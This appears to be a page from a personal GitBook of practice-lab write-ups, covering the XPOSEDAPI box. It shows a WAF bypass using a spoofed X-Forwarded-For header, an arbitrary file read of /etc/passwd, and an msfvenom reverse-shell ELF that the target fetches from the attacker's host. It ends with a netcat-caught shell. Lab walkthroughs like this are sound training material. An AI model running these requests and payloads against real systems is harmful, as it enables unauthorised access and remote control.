💣
Proving Grounds Writeups
  • kashz PG Writeups
  • PG boxes
    • ALGERNON
      • 4 :9998 IIS 10
      • 3 :80 IIS 10
      • 2 :21 ftp
      • 1 recon
    • APEX
      • 9 privesc
      • 8 box enum www-data
      • 7 :80 openemr exploit
      • 6 :3306 mysql
      • 5 :80 /filemanager 9.13.4
      • 4 :80 openemr
      • 3 :80 apex hospital
      • 2 :445 smb
      • 1 recon
    • AUTHBY
      • 6 privesc
      • 5 box enum apache
      • 4 :21 ftp admin
      • 3 :242 apache
      • 2 :21 ftp
      • 1 recon
    • BANZAI
      • 9 post enum
      • 8 mysql > privesc > root
      • 7 apache enum
      • 6 box enum www-data
      • 5 :8295 banzai
      • 4 :25 smtp
      • 3 :5432
      • 2 :21 ftp
      • 1 recon
    • BILLYBOSS
      • 7 privesc_2
      • 6 privesc_1
      • 5 box enum
      • 4 :8081
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • BOTTLENECK
      • 7 privesc > root
      • 6 www-data > bytevsbyte
      • 5 box enum PEAS
      • 4 box enum
      • 3 :80 exploit
      • 2 :80 bottleneck
      • 1 recon
    • BRATARINA
      • 4 :25 opensmtpd 6.6.2
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLAMAV
      • 4 :25 sendmail
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLYDE
      • 7 post enum
      • 6 box enum rabbitmq > privesc > root
      • 5 :4369 epmd
      • 4 :15672 rabbitmq
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • DAWN
      • 5 privesc
      • 4 box enum dawn
      • 3 cron exploit using smb
      • 2 :80
      • 1 recon
    • DIBBLE
      • 9 post enum
      • 8 box enum benjamin > privesc > root
      • 7 :3000 nodejs exploit
      • 6 :27017 mongodb
      • 5 :3000 node.js
      • 4 :80 drupal explore
      • 3 :80 drupal enum
      • 2 :21 ftp
      • 1 recon
    • FAIL
      • 5 post enum
      • 4 privesc fail2ban
      • 3 box enum fox
      • 2 :873 rsync
      • 1 recon
    • FUNBOXEASY
      • 4 post enum
      • 3 :22 ssh tony > root
      • 2 :80
      • 1 recon
    • FUNBOXEASYENUM
      • 4 privesc
      • 3 box enum www-data > privesc > root
      • 2 :80
      • 1 recon
    • G00G
      • 5 post enum
      • 4 privesc > root
      • 3 box enum fox
      • 2 :80
      • 1 recon
    • GAARA
      • 4 post enum
      • 3 gaara > root
      • 2 :80
      • 1 recon
    • HAWAT
      • 8 post enum
      • 6 :50080 nextcloud enum
      • 5 :50080 davtest
      • 4 :50080 nextcloud
      • 3 :30455 w3.css
      • 2 :17445 issue tracker
      • 1 recon
    • HELPDESK
      • 2 :8080 ManageEngine ServiceDesk Plus 7.6.0
      • 1 recon
    • HETEMIT
      • 10 post enum
      • 9 privesc > root
      • 8 box enum cmeeks
      • 7 :50000_2
      • 6 :50000_1
      • 5 :18000
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • HUNIT
      • 6 post enum
      • 5 privesc git-user git-repo > root
      • 4 fail privesc dademola-user git-repo
      • 3 box enum dademola
      • 2 :8080
      • 1 recon
    • HUTCH
      • 10 privesc_3 ldapsearch
      • 9 privesc_2 SharpLAPS
      • 8 privesc_1 PrintSpoofer
      • 7 box enum iis apppool
      • 6 :80 webdav
      • 5 :139 :445 smb
      • 4 ldap_2
      • 3 ldap_1
      • 2 :80 IIS 10.0
      • 1 recon
    • INTERNAL
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • INTERFACE
      • 3 post enum
      • 2 :80
      • 1 recon
    • JACKO
      • 8 post enum
      • 7 privesc_2 PrintSpoofer
      • 6 privesc_1 PaperStream IP (TWAIN)
      • 5 box enum tony
      • 4 H2 JNIScriptEngine exploit > tony
      • 3 :8082
      • 2 :80
      • 1 recon
    • KEVIN
      • 3 :80 HP Power Manager 4.2
      • 2 :139 :445 smb
      • 1 recon
    • LAMPIAO
      • 7 post enum
      • 6 privesc KE
      • 5 box enum www-data
      • 4 drupalgeddon2 > www-data
      • 3 :1898 drupal 7
      • 2 :80
      • 1 recon
    • LOLY
      • 6 post enum
      • 5 privesc KE
      • 4 box enum www-data
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • MEATHEAD
      • 7 privesc_2 Plantronics Hub 3.13.2
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt service\mssql$sqlexpress
      • 4 :1435 ms-sql 2017
      • 3 :1221 ftp
      • 2 :80 IIS 10.0
      • 1 recon
    • MEDJED
      • 8 privesc
      • 7 box enum
      • 6 :45332 :45443 QuizApp
      • 5 :44330 Barracuda Web-File-Server
      • 4 :44330 BarracudaDrive 6.5
      • 3 :33033
      • 2 :30021 ftp
      • 1 recon
    • METALLUS
      • 2 :40443 Application Manager
      • 1 recon
    • MONITORING
      • 4 privesc
      • 3 :80 box enum > www-data
      • 2 :80 nagios xi
      • 1 recon
    • MUDDY
      • 8 post enum
      • 7 privesc cronjob
      • 6 box enum www-data
      • 5 :80 webdav
      • 4 :8888 ladon framework
      • 3 :80 wpscan
      • 2 :80 muddy.ugc
      • 1 recon
    • MY-CMSMS
      • 6 privesc armour > root
      • 5 box enum www-data
      • 4 :80 cms ms login
      • 3 :3306 mysql
      • 2 :80 cms made simple
      • 1 recon
    • NAPPA
      • 7 post enum
      • 6 privesc
      • 5 box enum kathleen
      • 4 :8080
      • 3 :28080
      • 2 :21 ftp
      • 1 recon
    • NIBBLES
      • 5 post enum
      • 4 box enum > privesc > root
      • 3 :5437 postgresql
      • 2 :80
      • 1 recon
    • NICKEL
      • 6 :21 ftp > root
      • 5 box enum
      • 4 ssh ariah
      • 3 :8089 :33333 curl
      • 2 :8089 DevOps dashboard
      • 1 recon
    • NUKEM
      • 6 post enum
      • 5 privesc dosbox
      • 4 box enum http > commander
      • 3 :80 wordpress + exploit
      • 2 :80
      • 1 recon
    • PAYDAY
      • 6 patrick > privesc > root
      • 5 box enum_2
      • 4 box enum www-data
      • 3 :80 cs-cart internetshop
      • 2 :139 :445 smb
      • 1 recon
    • PEBBLES
      • 3 zoneminder sqlmap
      • 2 http
      • 1 recon
    • PELICAN
      • 7 post enum
      • 6 privesc > root
      • 5 box enum charles
      • 4 :8080 :8081
      • 3 :631 cups 2.2
      • 2 :139 :445 smb
      • 1 recon
    • PEPPO
      • 9 post enum
      • 8 privesc docker socket > root
      • 7 box enum eleanor
      • 6 :22 ssh eleanor
      • 5 docker enum postgres
      • 4 :5432 postgres
      • 3 :8080
      • 2 :113 ident
      • 1 recon
    • PHOTOGRAPHER
      • 6 post enum
      • 5 box enum > privesc
      • 4 :8000 koken cms
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • POSTFISH
      • 10 post enum
      • 9 privesc > root
      • 8 exploit /etc/postfix/disclaimer
      • 7 box enum
      • 6 :22 ssh
      • 5 sending mail to phish
      • 4 :110 pop3
      • 3 :25 smtp
      • 2 :80
      • 1 recon
    • POTATO
      • 6 post enum
      • 5 :22 ssh, box enum
      • 4 :80 strcmp php
      • 3 :80
      • 2 :2112 ftp
      • 1 recon
    • QUARTERJACK
      • 8 post enum
      • 7 privesc > root
      • 6 box enum apache
      • 5 :8081 rconfig
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SEPPUKU
      • 10 privesc
      • 9 ssh tanto > privesc > root
      • 8 box enum samurai
      • 7 box enum seppuku
      • 6 :7601
      • 5 :7080
      • 4 :8088
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • SHENZI
      • 7 post enum
      • 6 privesc .msi
      • 5 box enum
      • 4 :80 wordpress > shenzi
      • 3 :80 xampp
      • 2 :139 :445 smb
      • 1 recon
    • SIROL
      • 5 post enum
      • 4 docker breakout > root
      • 3 :5601 kibana 6.5.0
      • 2 :80 php calculator
      • 1 recon
    • SLORT
      • 6 privesc
      • 5 box enum
      • 4 :4443 xampp
      • 3 :8080 xampp
      • 2 :21 ftp
      • 1 recon
    • SNOOKUMS
      • 8 post enum
      • 7 privesc
      • 6 box enum michael
      • 5 box enum apache
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SORCERER
      • 7 post enum
      • 6 privesc > root
      • 5 box enum max
      • 4 :7742
      • 3 :8080 tomcat 7
      • 2 :80
      • 1 recon
    • SOSIMPLE
      • 6 ssh max > steven > root
      • 5 box enum_2
      • 4 box enum_1 www-data
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
    • SUNSETMIDNIGHT
      • 7 privesc
      • 6 box enum www-data
      • 5 :80 wordpress admin
      • 4 :80 simply poll plugin sqli
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
      • 0 /etc/hosts
    • SYBARIS
      • 7 post enum
      • 6 privesc cron
      • 5 box enum pablo
      • 4 :6379 redis
      • 3 :80 sybaris
      • 2 :21 ftp
      • 1 recon
    • TRE
      • 5 :22 ssh > privesc > root
      • 4 box enum www-data
      • 3 :80 mantis bug tracker
      • 2 :80
      • 1 recon
    • TWIGGY
      • 5 post enum
      • 4 :4506 SaltStack 3000.1
      • 3 :8000
      • 2 :80 mezzanine
      • 1 recon
    • UC404
      • 5 post enum
      • 4 box enum brian > privesc > root
      • 3 box enum www-data
      • 2 :80 adminlte
      • 1 recon
    • UT99
      • 8 privesc_3 wlbsctrl.dll hijack
      • 7 fail privesc_2 InspIRCd
      • 6 privesc_1 FoxitCloudUpdateService
      • 5 box enum daisy
      • 4 :7778 unreal tournament
      • 3 :6667 irc via pidgin
      • 2: 80
      • 1 recon
    • WALLA
      • 7 post enum
      • 6 privesc
      • 5 box enum www-data
      • 4 :8901 lighttpd 1.4.53 > raspAP
      • 3 :25 smtp
      • 2 :23 telnet
      • 1 recon
    • WEBCAL
      • 6 privesc KE
      • 5 box enum www-data
      • 4 :53 dns
      • 3 :80 webcalendar 1.2.3
      • 2 :21 ftp
      • 1 recon
    • WOMBO
      • 6 post enum
      • 5 :6379 redis
      • 4 :27017 mongo
      • 3 :8080 nodebb
      • 2 :80
      • 1 recon
    • XPOSEDAPI
      • 3 box enum clumsyadmin > root
      • 2 :13337 remote software management api
      • 1 recon
    • Y0USEF
      • 5 post enum
      • 4 privesc
      • 3 box enum
      • 2 :80
      • 1 recon
    • ZENPHOTO
      • 9 post enum
      • 8 privesc_2 full-nelson
      • 7 privesc_1 rds
      • 6 privesc check
      • 5 box enum www-data
      • 4 :80 zenphoto 1.4.1.4
      • 3 :80
      • 2 :23 cups 1.4
      • 1 recon
    • ZINO
      • 6 post enum
      • 5 privesc > root
      • 4 box enum www-data
      • 3 :8003
      • 2 :139 :445 smb
      • 1 recon
Powered by GitBook
On this page
  1. PG boxes
  2. XPOSEDAPI

2 :13337 remote software management api

http://192.168.76.134:13337/
Remote Software Management API
Attention! This utility should not be exposed to external network. It is just for management on localhost. Contact system administrator(s) if you find this exposed on external network.

Usage:
GET /
returns this page

GET /version
Returns version of the app running.

POST /update
Updates the app from ELF file. Content-Type: application/json {"user":"<user requesting the update>", "url":"<url of the update to download>"}

GET /logs
Read log files.

GET /restart
To request the restart of the app.

$ gobuster dir -u http://192.168.76.134:13337/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 80 -x php,html,txt
===============================================================
/logs                 (Status: 403) [Size: 33]
/update               (Status: 405) [Size: 178]
/version              (Status: 200) [Size: 38

http://192.168.76.134:13337/version
1.0.0b8f887f33975ead915f336f57f0657180

# requesting logs
http://192.168.76.134:13337/logs
WAF: Access Denied for this Host.

# reading up online shows vulnerability for Gunicorn 20.0.4
https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling
https://blog.deteact.com/gunicorn-http-request-smuggling/
(info) https://portswigger.net/web-security/request-smuggling

# as WAF is middle of Gunicorn and us, set Header X-Forwarded-For to check if it works
# burp

GET /logs HTTP/1.1
Host: localhost:13337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
X-Forwarded-For: localhost
Connection: close
Content-Length: 0

# response
HTTP/1.1 404 NOT FOUND
Server: gunicorn/20.0.4
Date: Sun, 05 Sep 2021 03:00:30 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 73

Error! No file specified. Use file=/path/to/log/file to access log files.

# setting parameter file in URL as its GET request
GET /logs?file=/etc/passwd HTTP/1.1
Host: localhost:13337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
X-Forwarded-For: localhost
Connection: close
Content-Length: 0

# reponse
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Sun, 05 Sep 2021 03:00:59 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2149
[truncated]
clumsyadmin@xposedapi:/home/clumsyadmin/k$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh

# we have username
# time to restart service with malicious elf file

# shell
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.144 LPORT=445 -f elf -o kshell

# calling /update
POST /update HTTP/1.1
Host: 192.168.76.134:13337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
Content-Type: application/json
Content-Length: 70

{
	"user": "clumsyadmin",
	"url": "http://192.168.49.76/kshell"
}

# response
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Sun, 05 Sep 2021 02:44:14 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 81

Update requested by clumsyadmin. Restart the software for changes to take effect.

# restarting
http://192.168.76.134:13337/restart
gives a popup and nothing happens; burp it

<script>
	function restart(){
		if(confirm("Do you really want to restart the app?")){
			var x = new XMLHttpRequest();
			x.open("POST", document.URL.toString());
			x.send('{"confirm":"true"}');
			window.location.assign(window.location.origin.toString());
		}
	}
</script>

# POST and send json `{"confirm":"true"}`

# request
POST /restart HTTP/1.1
Host: 192.168.76.134:13337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/json
Content-Length: 20

{"confirm":"true"}

# response
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Sun, 05 Sep 2021 02:46:27 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19

Restart Successful.

$ nc -lvnp 13337
listening on [any] 13337 ...
connect to [192.168.49.76] from (UNKNOWN) [192.168.76.134] 42398
whoami;id;hostname;uname -a
clumsyadmin
uid=1000(clumsyadmin) gid=1000(clumsyadmin) groups=1000(clumsyadmin)
xposedapi
Linux xposedapi 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux
Previous3 box enum clumsyadmin > rootNext1 recon

Last updated 3 years ago